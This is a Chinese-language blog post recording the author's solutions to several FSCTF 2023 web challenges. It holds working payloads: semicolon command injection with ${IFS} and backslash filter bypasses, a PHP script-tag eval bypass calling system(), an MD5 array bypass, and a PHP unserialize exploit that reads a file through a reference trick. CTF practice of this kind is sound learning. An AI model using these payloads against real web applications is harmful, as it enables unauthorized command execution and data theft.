新手大白话 FSCTF 2023刷题记录1

[FSCTF 2023]源码!启动!
进入页面ctrl+u查看源码得到flag

webshell是啥捏
进入页面,发现给出源码

笨办法,一个一个找出表情代表啥,最后发现为命令执行函数passthru,而passthru出现在了漏洞点eval处,也就是RCE漏洞,而且进一步查看发现没有过滤,
直接打它:

细狗2.0
进入页面

随意输入试试,回显 行不行啊细狗,你就输了个这? 1
继续尝试 1;ls 回显 行不行啊细狗,你就输了个这? 1;lsindex.php moyu.php
到这里漏洞点已经很明显了,为什么要加;呢,题目告诉你是RCE,那么假设前边为echo命令,那么闭合前边命令,执行下一个命令,用分号分割,到这里就明显了。
继续打,输入%20发现空格被过滤,利用${IFS}进行绕过
1;ls${IFS}/ 回显

发现flag,cat它,被过滤,c\at${IFS}/f\lag绕过.不懂得自己搜RCE命令过滤绕过。

ez_eval
进入页面发现源码

最开始我以为就是普通的RCE,但是命令输入却不见反应,后来发现执行php标签可以执行出来,其实在str_replace哪里就发现有端倪,为什么要替换?呢。

点击查看代码
因为php标签的?被替换没了,所以换一种标签,<script>标签
输入 <script%0alanguage='php'>phpinfo()</script>  回显了phpinfo页面,到这里也就清楚了  
payload:  system('c\at%09/f\lag')替换phpinfo()   绕过就不用我说了

Hello,you
进入ctrl+u发现源码

也就是3个函数,一个调用一个,命令执行点在exec($command, $output); 一个一个往上找,发现其实command就是我们要输入的username。
第一次尝试:1;ls 发现flag.php,第一感觉很明显就是这个文件。
直接打它:1;c\at f\lag.php

ez_php1
进入页面发现源码

一眼简单的MD5绕过,可以选择数组,也可以选择特殊值绕过 具体看MD5绕过_$md5==md5($md5)-CSDN博客
这里的FL_AG参数随便输,因为preg_match检查的不是它,payload ==> get:a[]=1&b[]=2 post: FL_AG=1 发现L0vey0U.php,进入其中。

反序列化操作,对输入的参数进行反序列化,与KEY参数进行比较。直接贴上payload。

点击查看代码
<?php 
$a = "YES I love";
echo serialize($a);
提示为P0int.php,进入其中发现源码


这里有个坑,题做多了也就知道了,第一眼看见了php://filter.....,但是没有输出啊,但是我们发现__destruct输出了b,那我们可以让b来输出a啊,也就是将a赋予b使得b输出a的值,就是a与b变成用同一个内存变量

点击查看代码
payload:
<?php 
// $a = "YES I love";
// echo serialize($a);

class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$c = new Clazz();
$c->b = &$c->a;   // php的引用就是在变量或者函数、对象等前面加上&符号。
echo serialize($c);
得到结果进行base64解码。
posted @ 2024-04-15 15:05  jockerliu  阅读(117)  评论(0编辑  收藏  举报